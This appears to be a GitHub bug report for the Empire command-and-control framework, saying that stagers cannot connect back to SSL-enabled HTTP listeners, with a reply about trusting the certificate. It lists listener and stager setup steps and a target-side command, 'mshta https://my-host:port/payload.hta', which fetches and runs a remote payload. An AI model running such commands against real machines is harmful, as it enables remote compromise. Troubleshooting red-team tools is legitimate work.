Empire
Empire copied to clipboard
[BUG] Stagers cannot connect back to http listeners over ssl
Note: Please fill out all sections (if applicable) and do not delete the below section headers, otherwise the bot will close the issue.
Empire Version
- Empire 4.0.0+gitsubmodule-0kali2
OS Information (Linux flavor, Python version)
- OS: Kali
- Python: 3.9
Describe the bug
Creating an http
listener with ssl enabled, generating a stager to callback to that listener, and then executing that stager on the target does not create a connection at all. I tested this in a non-AV environment, Windows 10.
To Reproduce
Steps to reproduce the behavior:
-
uselistener http
-
set SSL True
-
set CertPath path-to-dir
-
set Host host
-
set Port port
-
execute
-
usestager windows/hta
(or csharp_exe, it doesn't matter which one) -
set Listener http
(Didn't change the name for this test) -
execute
Then on target machine,
mshta https://my-host:port/payload.hta
Expected behavior
A prompt asking user whether to trust the certificate, and creating a connection back when clicked on 'Yes'.
Screenshots
If needed, please ask.
Additional context
None.
Have you tried adding the private cert to the targets windows cert storage? In a testing environment you can always do this. During an assesment you would of course use valid certs.